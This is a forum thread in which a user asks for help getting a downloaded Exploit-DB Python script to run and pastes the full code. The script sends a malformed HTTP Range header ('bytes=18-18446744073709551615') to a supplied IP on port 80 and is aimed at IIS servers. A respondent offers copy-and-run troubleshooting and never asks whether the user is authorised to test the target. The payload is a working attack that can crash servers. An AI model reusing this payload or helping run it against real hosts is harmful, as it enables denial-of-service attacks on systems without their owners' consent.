Avatar of gman
gman
 asked on

Python Exploit Script

Been trying to use this script - https://www.exploit-db.com/exploits/36776/

Keep getting the following

./36776.py: line 3: $'\r': command not found
./36776.py: line 4: syntax error near unexpected token `sys.argv'
'/36776.py: line 4: `if len(sys.argv)<=1:
PythonLinux SecurityVulnerabilitiesSecurity

Avatar of undefined
Last Comment
gman

8/22/2022 - Mon
aikimark

I think you messed up with your copy/paste of the code.
gman

ASKER
No thats not the issue
aikimark

please paste your code, preferably within a code snippet
All of life is about relationships, and EE has made a viirtual community a real community. It lifts everyone's boat
William Peck
gman

ASKER
#Tested on Win Srv 2012R2.
import socket,sys
 
if len(sys.argv)<=1:	
 sys.exit('Give me an IP')

Host = sys.argv[1]

def SendPayload(Payload, Host):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((Host, 80))
   s.send(Payload)
   s.recv(1024)
   s.close()

#Make sure iisstart.htm exist.
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"

SendPayload(Init, Host)
SendPayload(Payload, Host)

Open in new window

aikimark

I can't recreate your error messages.

Please try this:
1. Click the Select All link below the code window above
2. Copy/paste the code into your environment
3. execute this version of the code
ASKER CERTIFIED SOLUTION
gman

THIS SOLUTION ONLY AVAILABLE TO MEMBERS.
View this solution by signing up for a free trial.
Members can start a 7-Day free trial and enjoy unlimited access to the platform.
See Pricing Options
Start Free Trial
GET A PERSONALIZED SOLUTION
Ask your own question & get feedback from real experts
Find out why thousands trust the EE community with their toughest problems.
gman

ASKER
thats how i fixed it
⚡ FREE TRIAL OFFER
Try out a week of full access for free.
Find out why thousands trust the EE community with their toughest problems.